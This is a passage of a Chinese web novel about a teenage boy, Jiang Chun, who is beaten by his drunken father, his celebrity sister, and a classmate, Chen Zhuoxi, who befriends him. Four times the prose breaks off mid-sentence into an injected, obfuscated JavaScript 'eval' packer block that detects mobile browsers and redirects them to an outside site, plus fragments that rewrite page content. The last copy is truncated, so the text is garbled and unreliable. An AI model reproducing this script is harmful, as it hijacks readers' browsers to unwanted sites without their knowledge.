况且,他也不想让陈灼曦看到父母是怎么对待自己的。 十几岁的男孩子,总是把自尊心看得比什么都重要。 犹豫再三,他只好答应。 江椿把姐姐的手机号告诉了邢弋,邢弋听到一半就发现不对了。 这不是江宥一的号码吗? 他愣住,迟迟没有拨出去。 “邢弋哥?你没事儿吧?” 陈灼曦看出邢弋表情不太对。 邢弋摇摇头,考虑了一会儿,还是打通了电话。 “邢弋?” 江宥一简直不敢相信自己的眼睛,他居然会主动给她打电话。 “是我。” “怎么了?我还真没想到能接到你的电话,怎么,太阳从西边出来了?”江宥一极力压抑着自己的心情。 江椿和陈灼曦听到了两人的对话,对视一眼,一副吃到大瓜的表情。 难道这两人认识? 邢弋看了眼,发现他俩盯着自己,只好走到窗户边。 “你弟弟在医院,你现在方便过来一下吗?我把位置发你。” “我弟?江椿?” 江宥一一下子从沙发上弹起来。 “对,是他。” “他怎么了?”江宥一有些着急。 “你放心,你弟没事,就是受了点皮外伤,具体的事情,等你来了再问他吧。” “好!” 江宥一匆匆挂了电话,就往医院赶。 更早接到消息的陈燃和潘茁先赶到。 陈燃一路跑过来,快步走到陈灼曦面前,摇晃着她的肩膀,左看看又看看,生怕他这个宝贝妹妹受一点伤。 “哎呀,哥,你太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957915|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸张了,我真没事儿。” 陈灼曦抽回胳膊,还故意晃了晃,努力展示自己有多健康。 “你看,胳膊腿儿都好好的。” 确认陈灼曦没有大碍,陈燃这才注意到真正的“伤员”。 那孩子从头到脖子,再到胳膊,都是伤。 他刚要开口。 江宥一又冲进来。 今天这医院里边还真是热闹。 “江椿!” 她也是径直冲到江椿面前,看到弟弟这幅样子,心疼得要命。 潘茁和陈燃看到江宥一过来都很惊讶。 当然,这些人里最惊讶的,还得是陈灼曦。 她猛地抬手捂嘴,目不转睛地盯着江宥一半天,然后看着江椿,虽没开口,但表情上清楚写着:“你也没和我说过你姐是江宥一呀!” 然后她又突然反应过来,看向陈燃:“你也没说过你认识江宥一啊?” 她心想,合着这里面就我一个人是第一次看到真明星呗? “这是怎么了?”江宥一转身看向邢弋。 这些人里,她最信他。 “这里不合适多聊,去我家吧,这儿离我家近,去了再慢慢问。” 江宥一点头,小心地搀扶起江椿。 “来,慢点儿。” “姐,我没事儿。” 江椿冲着姐姐尴尬笑笑。 江宥一看着他头上的纱布,泪珠在眼里打转。 “嗯,姐知道。”江宥一的声音颤抖着,抽了抽鼻子,眼泪顺着脸颊流下来。 江椿轻轻帮她擦掉,努力挤出个笑,又小声强调了一遍。 “姐,你别哭,我真没事儿!” 江宥一点点头。 医院门口。 “你和弟弟坐我的车吧,你别开车了。” 邢弋站在江宥一身侧不远处,视线落在她身上。 潘茁见状,自觉拉着陈灼曦跟在陈燃后边。 “走,咱俩坐你哥的车去。” 陈灼曦点点头,一边往前走,一边还回头看向江椿。 “别看了,你那男同学丢不了。” 陈燃看着妹妹这副依依不舍地“痴情”模样,竟还吃起醋来。 江宥一和邢弋一起扶着江椿上了车,她也和弟弟一起坐到了后排。 “疼吗?” 江宥一小心抚摸着弟弟的伤口,又不敢用力。 “不疼。” “江祖兴又打你了?他怎么能下这么重的手?” “没,和他没关系。” 江椿似乎是很不想提到这个名字。 “不许撒谎!” 江宥一盯着江椿的眼睛,语气似是严厉了几分,可满心满眼都是对这个弟弟的心疼。 “姐,我没撒谎,真和他没关系,他还不知道我受伤的事儿。” 正在开车的邢弋听到了姐弟两人的对话,他透过后视镜看着江宥一,对她越发好奇。 离开他的这些年,她到底经历了什么。 江祖兴是谁?这个江椿又和她究竟是什么关系? 这些年来,邢弋心里一直存着一个疑问。 他清楚地记得,十七年前,收养姜桃的那对父母,男人姓马,女人姓曾。 可姜桃长大却改姓江。 她的过去,好像真的没有他预料中那样顺利。 坐在后排的江椿看到了邢弋看向姐姐的眼神。 他年纪是小,可不至于什么都不懂。 江椿看得出来,姐姐和眼前这个男人关系不一般。 到了邢弋家里,面对着四个“家长”虎视眈眈的眼神,俩孩子被吓得够呛,才慢慢说起今晚的事情。 14. 论一根火腿肠的价值 江椿和陈灼曦是同班同学。 许是家庭的原因,江椿在学校里一个人独来独往惯了,甚至可以说是凭借一己之力“孤立”全班。 班里同学也都在传,江椿家里条件不好,他爸是赌徒、酒鬼,听说还会家暴他和他妈妈。 一开始,大家知道他家里是这种情况,还会同情他。 只不过,是江椿自己倔强地说他不需要朋友,更不需要可怜。 久而久之,他和班里其他人越来越疏远。 他在校外和别人打架,消息传回班里,大家都说他和他爸一样有暴力倾向,对他避之不及。 他也不解释,他不喜欢替自己辩解。 别人怎么想他,那是他们的事情。 陈灼曦或多或少听说过点儿江椿“社会上”的事情,她对这些不感兴趣,也不会主动打听。 但她对于大家对江椿存有偏见,对他刻意疏远、背后议论的行为,多少有些嗤之以鼻。 但她也不至于替他出头,她只拿他当普通同学。 只是上个学期发生了件小插曲,让陈灼曦对他也没了多少好感。 上学期期末,一个平常得不能再平常的早晨。 陈灼曦又又又迟到了…… 幸运的是,在她前面,江椿也姗姗来迟,而且被教导主任抓了个正着。 他正在接受教导主任最高级别的“口水”洗礼。 陈灼曦窃喜,“天助我也!” 她双手合十,冲着江椿做了个祷告的手势,祈求他帮忙多拖延一会儿时间,好让她有机会溜进校门。 陈灼曦以为,虽然她和江椿平时没怎么说过话,但毕竟也多少有点儿同窗情谊,举手之劳罢了,他应该不会拒绝。 谁知道,江椿可从来没有“助人为乐”的习惯,不,应该是他可不打算“多管闲事”。 江椿非但没反应,反而一直直愣愣盯着她,忙没帮上,倒是成功替她引来了教导主任的关注。 他的这一行为在陈灼曦眼里,那就是故意的。 陈灼曦估计这辈子也忘记不了江椿当时的眼神了。 那眼里满是不屑,带着寒意,一片死寂,平静得让人窒息。 好冷漠…… “陈灼曦?又是你,你站那儿鬼鬼祟祟的干什么?” 好家伙,还没等陈灼曦反应过来,教导主任已经转移火力,瞬移到她面前。 陈灼曦求助的眼神立马充满了怒意,她皱眉瞪着江椿,小声嘟囔着:“真不够意思!” 江椿清晰地听到了她的吐槽,但依旧是一脸无所谓的表情。 “你也过来!” 当然,教导主任也没打算放过江椿。 “我没记错的话,你们两个是一个班的吧?” 两个人谁都没吱声。 但他俩的沉默并没能换来主任的同情。 “你们班可真行啊,这才周一,我在这儿一早上了,一共就抓着三个迟到的,你们班就占两个……” 教导主任一个人激情开麦半天,陈灼曦一个字都没听进去。 她现在心里只有被“同窗盟友”背叛的愤怒。 江椿瞥见了旁边这个小土豆向自己投来的杀气腾腾的眼神。 但他也只是瞥了一眼,根本没放在心上。 教导主任冲着两人发了半天火,终于“意满离”,放两人自由。 江椿一脸无所谓准备回教室,右脚才刚迈出去,就感觉身后有股力量拽住了自己。 他一回头,看到个头只到他胸口的陈灼曦,此刻正怒目圆睁,仰视着自己。 她双手叉腰,站得笔直,像个小手办。 只是看上去生气,却对他毫无威胁。 “你!等!等!江椿,我没得罪过你吧,咱们好歹同窗半年多,你怎么能见死不救?” “见死不救?” 江椿微微侧头,心想:不就是迟到吗?他一周起码迟到四天,也没见有什么严重后果,哪有陈灼曦说的这么夸张。 “对,你刚刚的行为非常恶劣,对我来说,就是见死不救。”陈灼曦说得斩钉截铁。 对于她的自来熟行为,江椿很不理解。 他不记得两个人有什么交集,也没觉得自己有义务帮她这个忙。 “所以呢,你觉得我应该和你道歉吗?” 江椿依旧漫不经心,他这态度在陈灼曦看来,简直就是赤裸裸的挑衅。 但她仔细想想,要是因为人家没帮自己,就让他道歉,好像倒显得自己无理取闹。 “道歉?那也不至于,其实我也……” “对不起。” 江椿的这三个字来得猝不及防,陈灼曦话还没说完,他就已经转身离开。 陈灼曦看着江椿的背影,站在原地小声嘟囔:“其实我也不是非要你道歉。” 这件事情之后,陈灼曦没法把江椿当成是普通同学了。 她才体会到,他果真像大家说的那样不好接近。 他太另类、太奇怪了,奇怪到陈灼曦开始对他产生好奇。 虽然这份好奇里也带着点儿对他行为的不理解。 每天低头不见抬头见,但两个人依旧维持着以前那种分外陌生的感觉。 直到新学期,他们被分到一组打扫环境区。 而陈灼曦还十分点儿背的成为了组长。 “冤家路窄,这一定是上天给我的考验!”陈灼曦心想。 她本来还在想万一江椿不配合,她应该怎么和他据理力争,结果他竟意料之外的听话。 他从开始就一直在勤勤恳恳地干活,反倒是组里另外两个男生老是偷懒。 陈灼曦才不惯着他们,上去就是一人一脚,她这暴力行径竟然把江椿看笑了。 几个人都惊呆了,原来这小子会笑啊。 “笑得还挺好看!”陈灼曦脑子里突然冒出个不合时宜的念头,“这小子要是性格不那么古怪,估计得有不少女生暗恋他。” 当然,对“仇家”犯花痴是要付出代价的。 陈灼曦天不怕地不怕,唯独就怕狗。 偏偏今天,这学校里的流浪狗好像疯了似的,直冲她而来。 陈灼曦被吓得拔腿就跑,那狗在她身后穷追不舍。 几个男生笑她“报应”来得太快。 江椿一开始也没觉得有什么,跟着看了会儿热闹,这才注意到陈灼曦求助的声音里似乎带着哭腔。 这虎丫头真怕狗? 江椿一手拿着扫帚,一手插进兜里,保持着这酷拽动作不变,嘴里大声喊着:“陈灼曦,你停下来,别跑了,越跑狗越要追!” “不行啊,我不敢!” 看她这怂样,江椿只能上前拉住她,她顺势躲在他身后,死死拽着他的袖子不肯松手。 江椿听着身后陈灼曦急促的呼吸声,勾勾嘴角。 他用自己的身体挡住狗,然后蹲下,从兜里拿出根火腿肠,把包装撕开后丢远。 流浪狗迟疑片刻,摇着尾巴追了过去。 他起身,拍了拍手,这才看向她。 “哇,你是哆啦A梦吗?兜里居然有火腿肠。” 陈灼曦这副没见过世面的样子,让江椿怀疑她是不是被吓傻了。 他回头不冷不热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957916|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说了句:“你要是不跑,它真不会追你。” 陈灼曦虽然对他这种态度不爽,但他刚刚毕竟救了自己。 她撇撇嘴,不情不愿说了句谢谢。 “不谢。” 江椿准备走,被陈灼曦一把拉住。 她怎么这么喜欢拽人衣服?他实在不理解。 “哎,你等等,我话还没说完呢,我这个人吧,不喜欢欠别人人情,你的大恩大德,我记住了。以后要是有什么需要帮忙的,尽管说话。” 陈灼曦挺直腰背,拍拍胸脯,江湖大哥的气派倒是拿捏得到位,和刚才那被狗追的狼狈模样简直判若两人。 江椿没有拒绝,只是笑笑:“你能帮我什么?” 他这话任谁听都觉得是在嘲讽,陈灼曦觉得自己的能力收到了侮辱。 “你这是……瞧不起我?” “没有瞧不起你,那下次有人要打我,我就报你的名,让他们直接找你?”江椿歪头看她。 “行啊,你尽管让他们来。” 死丫头吹起牛来没轻没重的。 陈燃是警察,还是刑警,作为她的妹妹,自然不能认怂,况且有这个哥哥撑腰,陈灼曦料定没人敢欺负她。 不过她多多少少听说过江椿“社会”上的那些事,觉得这位祖宗还真有可能说到做到,给自己招来麻烦。 但牛已经吹出去,陈灼曦只能硬着头皮强装镇定。 江椿没想到陈灼曦这么有骨气,他以为她会被吓跑,完全没想到她会答应,这倒是让他对她刮目相看。 “你放心,我没那么没出息,让一女生替我出头。” 听到这儿,陈灼曦也算是松了口气。 “那我帮你补数学吧,我数学可厉害了,你上回不是咱们班垫底吗?” 陈灼曦说着说着没了底气,这才叫侮辱吧,她简直是哪壶不开提哪壶。 好恐怖的情商。 没想到,江椿一点儿不生气。 “不用了,我没打算学习。” “什么叫没打算学习,不学习你来学校干什么?” 陈灼曦更觉得江椿的脑回路和别人不大一样。 “为了混日子,打发时间呗!” 陈灼曦愣在原地,这句话好熟悉,怎么好像在哪儿听过。 她想起来了,班主任就是这么骂江椿的。 “别发呆了,上课了。” 江椿拿着扫帚走在前头,陈灼曦一路小跑跟上。 “你为什么要打架呀?是为了寻求刺激?还是发泄情绪?” 她对他实在太好奇了,现在好不容易有了聊天儿的机会,可不得多问几句。 “不为什么,闲的。” “……” 他的每一个回答都在她的意料之外。 “你不会是为了吸引你父母的注意吧?我看电视上经常这么演,青春期孩子为了让父母多关心自己,故意不好好学习,你爸妈……” 陈灼曦知道现在说这个话题不太合适,她和江椿毕竟不熟,所以话说到一半硬是把后半句咽了回去。 江椿再次安静下来,他没回答她的问题。 “对不起,我没别的意思,你要是不想说的话可以不说,我就是随口一问。” “下次遇到狗,不要大叫,不要跑,也别和它对视,慢慢走开就好了。”江椿果然避开了这个话题。 “不不不,我找到了更好的办法,以后我的口袋里也要常备一根火腿肠。” 江椿又笑了,眼睛先弯起来,眉毛不经意上挑,带着点儿玩世不恭的痞气。 “希望你的火腿肠够用!” 15. 坏种? 那天之后,陈灼曦和江椿的关系有了明显进步。 陈灼曦渐渐发现,江椿根本没有看上去那么桀骜不驯,“不良少年”或许只是他的伪装? 她能感觉到,江椿有秘密。 如果他不愿意主动说,那么她就绝不可能开口问。 这点儿眼头见识她还是有的。 陈灼曦自认为和江椿的关系有所改善,事实证明,她的第六感没错。 江椿对她,确实不像一开始那么冷漠。 最有力的证明就是,他居然愿意向她伸出援手了。 这对于习惯了置身事外的江椿来说,简直是巨大的进步。 新学期刚开学那会儿,陈灼曦再次迟到了。 值班老师就在门口,面无表情地盯着进出的学生,她想躲是躲不过去了。 她正要“认命”,主动接受教育的时候,江椿不知道从哪儿冒出来。 他的神操作把陈灼曦看傻眼了。 这人果然嚣张,没穿校服外套,居然就这么在值班老师跟前晃悠。 他是怕老师看不着他吗? 陈灼曦已经“泥菩萨过河——自身难保”了,居然还有闲心看江椿的热闹。 “哎,那个没穿校服的男生,你过来一下,哪个班的?” 值班老师冲江椿招手,他乖乖走过去。 陈灼曦看着江椿挨训,半天才反应过来,这会儿可是她溜之大吉的最好时机。 她小心翼翼地绕在值班老师身后,放慢脚步,努力降低自己的存在感。 成了! 她就这么在江椿的“掩护”之下,逃过一劫。 江椿咧咧嘴角,那总是带着疏离和冷漠的眼神,竟然也看上去温柔了不少。 自此,热爱自由的少年也终究是有了牵挂。 “你知道吗?你刚才救我一命。” 陈灼曦侥幸逃脱后没有回班里,一直在楼道里等着她的“救命恩人”。 虽然她不知道江椿是不是有意帮忙,但她还是要有所表示。 “喏,我从家里带的三明治,赏给你了,算是感谢。” 陈灼曦从包里翻出个袋子,把东西递给江椿。 “我不吃早点,今天也没打算帮你,你不用谢我。” 江椿还是这么“装”,好在陈灼曦已经习惯了他“拒人千里之外”的风格。 “我陈灼曦送出去的东西就没有收回来的道理,一个三明治而已,不想吃就扔了!” 哟呵,她比他还酷。 这种性格难道会传染? 当然,她的酷没能维持太久。 “不过,我需要提醒你一下,浪费粮食可耻,而且,这三明治可是我老爸早上起来辛苦做的,可不能辜负了他老人家的一片苦心……” 陈灼曦瞪大了眼睛,挑起眉毛,微表情像是在说,我已经把价值提升到这种高度了,你还好意思拒绝? 江椿当然听出了她的言外之意,今天他要是拒绝了这块三明治,那就是既对不起农民伯伯,也对不起陈灼曦爸爸。 “既然是叔叔辛苦做的,你就这么给我了?” 江椿一句话说得陈灼曦哑言,好在她反应还算快。 “我这人习惯了‘滴水之恩,涌泉相报’,我爸知道了,也会夸我的。”她甚至顺便把自己夸了一夸。 江椿打算收下陈灼曦的好意,只不过有些好奇她该如何对得起自己的肚子。 “那你吃什么?” “嘿嘿,我还有!”陈灼曦憨笑两声,又从书包里拿出个包子。 “你这么能吃?”江椿这句吐槽几乎是脱口而出。 他上下打量着这个看上去没有九十斤的小土豆,一个女孩子能有如此惊人的饭量,属实难得! “你的妈妈没有教过你吗?永远不要打听女孩子的体重、年龄还有饭量!” 陈灼曦别过脑袋,假装生气。 等她再回过神儿来,江椿早就跨着大步走了。 他妈妈还真没教过他。 连自己孩子吃穿用度都不操心的母亲,哪有闲工夫给他教这些? “喂!你等等我!” 陈灼曦和江椿走得越近,班里闲话传得就越多。 一向独来独往的江椿身边突然多了个陈灼曦。 十六七岁的年纪,没人相信这两人会是纯友谊。 关于两人的传言愈演愈烈,甚至很大一部分人断言,江椿和陈灼曦肯定在一起了。 好在这两人从来不去操心这些乱七八糟的事情,所以关于他们的八卦,当事人并不知情。 “江椿,老班办公室有请!”一个同学赶来传话。 江椿是班主任那儿的常客,所以并不觉得有什么丢人的。 他悠悠起身,动作慢吞吞的,根本没注意到,周围人已经开始窃窃私语。 “他和陈灼曦早恋不会被老班发现了吧?” “肯定呀,他俩那么明显,老班又不傻,那天下了晚自习,我亲眼看到他俩往操场去了呢?大半夜的,他俩去那儿能干什么?也不害臊!” 晚自习?操场?半夜? 屎盆子扣得太冤枉,也就是陈灼曦没听到,不然,以她的性格,那俩女生今天别想好过! “江椿,考试成绩下来了,你又是倒数,怎么回事儿?次次吊车尾,这回干脆作文交了白卷,你这学到底还想不想上了?” 班主任抬头看他,带着审视的眼神。 江椿一如既往不吭声,任凭处置。 他这反应,反而被班主任当成是对自己人生的不负责任。 她更生气了,把手里的那张成绩单抖得哗哗响,手指戳在最后一个名字上,力气大得快要把纸戳破。 “江椿啊江椿,你自己看看,你这分数对得起谁?” 江椿低着头,瞟了眼成绩单,然后又开始盯着地板上正在搬运面包碎屑的蚂蚁发呆。 “我说的话你听进去没有?”班主任声音提高了些,瞥了瞥其他正在办公的老师,顺手把桌上那摞摇摇欲坠的作业本往里推了推。 “下午让你父母来一趟学校吧,我得跟他们当面聊聊,你的问题必须要解决了。” 江椿猛地抬起头:“老师……” “没得商量,你这种情况,我必须向家长反映,不是要告你的状,是和他们一起想办法。” “老师,我爸天天喝酒,几乎没什么清醒的时间,我妈忙着打牌,您要是有办法把他们叫来学校,您就叫吧。” 江椿还是那副爱咋咋地的表情。 班主任被气得没了办法,给他母亲打电话,确实没人接。 她抬头看了眼江椿,半信半疑,又觉得这孩子可能没说谎。 毕竟从开学到现在,他父母都没露过面,连家长会也没人来参加过。 她又问了江祖兴的号码。 电话接通了。 江椿插在裤兜里的手悄悄握紧。 “喂,是江椿父亲吗?我是他的班主任,这孩子最近状态实在不好,现在正是关键时期……” 班主任边说边抬眼看了眼江椿。 电话那头的声音江椿听不清,但班主任听得很认真。 她再次说话时,语气缓和了不少,甚至带着点儿劝慰对方的意思。 “江椿爸爸,您别激动,这孩子本质不坏,您看要是方便的话,下午来一趟学校?” 江椿站直了些,大拇指无意识地摩挲着中指,依旧面无表情。 “哼,他才不会来。”江椿心想。 果然,下一秒,江祖兴的声音从听筒里传来,他几乎是在怒吼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957917|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这小崽子就是他妈的欠揍,老师你随便打,揍一顿就老实了。” 江椿这班主任也不过是二十七八岁大学毕业没几年的女生,哪里见过江祖兴这样的家长,他三五句就把她给喊愣了。 “江椿爸爸,您这话可不对,教育孩子,可不能靠打骂解决问题。孩子大了,有自尊心。” 谁知道,江祖兴根本油盐不进,话说得更难听了。 “我去他狗屁的自尊心,那玩意儿能当饭吃?皮痒了就得揍。” 江椿低着头,指甲掐着自己的掌心。 班主任终于发现,和江祖兴根本没法沟通,她重重叹了口气。 “这样吧,江椿爸爸,您先冷静一下,要是忙可以先不来学校,江椿的学习我和其他老师重点盯一下。” 担心江祖兴冲动,她又特意补充:“还有,江椿爸爸,等他回去,您也千万别打他,有话好好说。我还是那句话,暴力解决不了问题,只会让情况更糟。” 对面江祖兴随意应付了两句,话说得含糊,感觉好像还是喝醉酒的状态。 “江椿皮贱,不打不行,再说了,老子打小子天经地义!” 江椿班主任刚要开口阻拦,对面已经挂断了电话。 办公室只剩下令人窒息的安静,班主任抬眼看看江椿,有些无奈。 江椿避开了她的目光,面对那种失望又同情的眼神,他不知道该作何反应。 他重新低下头,再次抬头,眼睛有点红,但硬是挤出他平时那种满不在乎、甚至有点混不吝的表情。 他歪歪嘴角:“老师,要是没其他事儿,我就先回去了。” 班主任没拆穿他,看着他的眼睛,很认真地说:“江椿,学习是你自己的事情,你要对得起自己的未来。关于你父亲,回去和他好好说。如果存在家庭暴力的情况,你要告诉老师,好吗?” 江椿点头,没作声。 果然回到家里,江祖兴正坐在沙发上,满身酒气,手里握着皮带,等着江椿。 江椿经常打架,但是每次江祖兴打他的时候,他都不会还手。 不是恐惧,只是江椿觉得,他爸虽然打老婆打孩子、好赌成性、嗜酒如命,确实不是什么好人,但那毕竟是他爸,他实在是还不了手。 他这孩子说白了就是表面浑,把自己装成吊儿郎当、不服管教的不良少年,其实本质不坏,骨子里善良又心软。 江祖兴打江椿从来不避开脸蛋,他知道这个年纪的男生要面子,故意打在别人看得到的地方。 “明天你那多管闲事的老师问起,你要是敢说老子打你,看我不去你学校剁了你!” 江祖兴气喘吁吁,嘴里依旧破口大骂:“他娘的,我怎么生你这么个废物,老子养头猪过年还能宰了吃肉,养你除了丢人现眼还有什么用?” 江椿握紧拳头,忍着没顶嘴,他偏过头,舌尖抵了抵发麻的腮帮子。 半晌,他才慢慢直起身,背上仍有些吃痛。 他抬手蹭了下嘴角,瞥见指腹那抹暗红,居然扯着半边嘴角笑了。 江祖兴摊在沙发上,本就喝多了的他,已经没了力气继续动手。 江椿弯腰捡起地上的书包,单肩挎上,转身往房间走。 刚才发生的一切,对他来说,不过是家常便饭。 房间里,他一头栽倒在床上,闭眼躺了一会儿,然后掏出手机,敲了几个字给江宥一发过去。 “姐,明天不和你出去吃饭了,我和同学约好去电玩城。” “好。” 和江宥一的信息一块发来的,还有一则转账通知。 江宥一给江椿转了5000块钱。 “和同学一起出去大方点儿,给自己买点儿像样的衣服,姐有钱。” “嗯。” 16. 江椿的故事 第二天,回了学校。 江椿眼角青了一大块,嘴角也破了。 班里同学明面上不敢议论,背地里可没少说他闲话。 “江椿,班主任又找你!” 他一出门,班里瞬间热闹起来。 “看吧,肯定是又出去打架了,老班这回轻饶不了他,才刚考了倒一,咱班平均成绩都被他拉下去了。” “就是,整天装什么装,他是觉得和人打架很光荣吗?” “关键是看看他那脸,战斗力可不怎么样啊,都被打成什么样了!” …… 几个人哄堂大笑。 陈灼曦不想找事,可她实在是听不下去了。 她这个人虽然是个大大咧咧的直肠子性格,但是,在学校,尤其是自己班同学面前,她多少还是有些收敛。 起码,表面上的和平还是要维持下去。 只是今天,她决定为江椿破例一回。 “都是一个班的,嘴巴有必要什么毒吗?江椿平时又没招惹你们。” “陈灼曦,我们说什么关你屁事,又没说你。” 带头的眼镜男一脸鄙夷,打量着陈灼曦。 她才不怕这些。 老陈家见义勇为、拔刀相助的优良品质,看样子她也继承了不少。 “你不知道啊,陈灼曦和江椿早就不是普通同学了!人俩关系可不一般~” “你们嘴巴都给我放干净点儿。”陈灼曦没了和他们和颜悦色的耐心。 “哟,急了,陈灼曦,说白了你能看上江椿,又会是什么好东西。” “你哥不是警察吗?他要是知道你找了个‘黄毛’,不得被你气死呀!” 几个平时看上去人模狗样的男生轮番上阵,和陈灼曦吵起来。 江椿这会儿还在老师办公室,对于教室里发生的一切,毫不知情。 他怎么可能想到,陈灼曦会为了他单挑全场。 “江椿,你脸上的伤怎么回事?” 班主任不像上一次那样疾言厉色,今天的她,看着脸上青一块紫一块的江椿,更多的是心疼。 尤其是经过和江祖兴的通话,让她现在怀疑,江椿脸上的伤,是他父亲所为。 “没事老师。”江椿依旧嘴硬。 “你和我说实话,是不是你爸爸打你了。” “没有,不是他。”江椿否认得坚决。 他明白,江祖兴家暴这件事情,就算是老师和学校介入,也改变不了什么。 他宁愿被人讨厌,也不想被同情。 “你和我说实话,就算是你父亲,也不能随便打人。” “老师,真不是。” 江椿一再否认,逐渐打消了她的疑虑。 毕竟是亲生父亲,估计最多也就是在嘴上逞威风,怎么可能真的忍心把自己孩子打成这样。 “不管成绩怎么样,你都不应该自暴自弃,以后不要再打架了。” “知道了老师。” 江椿从办公室里出来,松了口气,他不清楚老师是真的相信自己,还是单纯的不想多管闲事。 但这对他来说不重要,他的目的已经达到了,今天也是一样,学校里没人会知道他这鼻青脸肿一身伤,全是拜他父亲所赐。 走到教室门口,江椿听到了陈灼曦的声音,仔细听了一会儿,大概明白了吵架内容。 他不剩多少理智,冲上去就要打人。 好在被陈灼曦及时拦住。 她一路拽着他往外走。 “你不怕被开除啊!” “不怕!” “你和他们计较什么,想说什么就让他们说去呗,我不在乎。” 陈灼曦知道,江椿这么冲动无非就是听到了刚才那些人骂她的话。 江椿看着她,表情有些复杂,他可能真是低估眼前这个女孩儿了。 越相处越发现,她好像有着同龄人没有的勇气、通透、清醒。 他一直以为,这些东西只有像自己这样早早进入社会自食其力的人,才会“被迫”拥有。 她哥是警察,所以这是家族遗传? 陈灼曦不理解为什么江椿突然盯着她发呆。 “你脸上的伤怎么回事?” “打架,输了。” 江椿当然没和陈灼曦提起他爸,他不想和任何人提起他的家庭。 他嫌丢人。 因为江椿不主动告知,所以陈灼曦对他的家庭并不了解。 她只是听过传言,江椿的父母不怎么管他,她当然想不到江椿受伤的罪魁祸首会是他爸。 毕竟陈灼曦家境虽然没有多优渥,但哥哥和父亲给了她双倍的爱。 在她的认知里,家人就应该是互相保护、给予彼此温暖和爱的存在。 陈灼曦没有质疑江椿话里的真伪,只是想知道他放着好好的学不上,干嘛总是把自己搞得遍体鳞伤。 “以后别打架了,好好上学,行吗?”她很真诚的提问。 江椿避开了她的眼神,却在扭过头时咧起嘴角。 “我尽量。” 虽然没得到肯定答复,但好歹没被拒绝,陈灼曦认为自己的劝阻或许多少是起了作用的。 之后很久,江椿也确实如陈灼曦所期盼的那样,成绩虽然没有进步,但是脸上挂彩的次数比起以前,可是少了很多。 两人甚至约定好,以后每天下课,一起留校,陈灼曦帮江椿辅导完功课之后,再一起回去。 她做他的老师,他当他的保镖。 陈灼曦第一次体会到了帮助别人,让他们变得更好,原来是这么幸福的一件事。 怪不得陈燃当初吵着闹着非要上警校,当刑警不更是成就感满满啊。 陈灼曦和江椿走得近,班里一开始还会传闲话,可是时间长了,大家也就习以为常。 就连老师也一样,非但不阻止,还得偷偷高兴,多亏了陈灼曦,让江椿少惹了不少事。 期末考试前的最后一场月考结束,江椿终于摆脱了班里倒一的地位。 虽然倒数第二也没多光彩,但微小的进步也是进步。 陈灼曦和他约好,周末晚上一起看电影庆祝,江椿没拒绝。 她满心欢喜地跑去赴约,可是直到电影开场,也没等到江椿。 和他相处这些天,陈灼曦知道,江椿不是个会轻易爽约,还不吱声的人。 要是不想来,他压根不会答应。 她有种感觉,他遇到事儿了。 陈灼曦连着拨了两回电话,对面一直是无人接听的状态。 最后一次,终于有人说话了,但传来的却不是江椿的声音。 “你是谁?” “哟,你就是每天跟着江椿的那小妞儿吧,赶紧到寻味夜市后面的织锦巷,你再不来,江椿小命就没了,他脑袋开瓢了,我们可没送他去医院的义务。” 说完,电话那头传来一阵狂笑。 这些人还真是明目张胆。 陈灼曦刚要问他们是谁,手机居然没电了。 她只能一路狂奔,去救江椿。 到了巷子。 这里很黑,但陈灼曦还是鼓足勇气走进去,一边跑,一边大声呼喊江椿的名字。 找到他时,他正靠墙坐在地上,看起来比平时狼狈,像只受了伤的小狼。 那伙人已经不见,江椿的手机也被他们踩碎。 地上还有啤酒瓶碎片,江椿头上的血一直流到脖子上,染红了他的上衣。 陈灼曦吓坏了,江椿居然还在笑。 “你胆子还真大,这地方敢一个人进来。” “你别说话了,赶紧去医院。”陈灼曦弯腰去扶江椿。 “你不好奇我这又是怎么了嘛?” “好奇啊,现在可没空和你聊这些,你一会儿血流多了,晕过去,我可背不动你。” 江椿笑笑,起身的时候,胳膊上的伤口让他“嘶”地抽了口气,可笑意却没散。 “很失望吧,我这人还是死性不改,又打架了。” “这是你自己的人生,你不在乎,我失望什么。” “哟,生气了?” 江椿扭头看向陈灼曦,脑袋还在疼,但他也只是皱了皱眉。 “屁,我才没生气。” “刚给你打电话的是我堂哥。”江椿解释说。 “你堂哥?那他看你这样还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 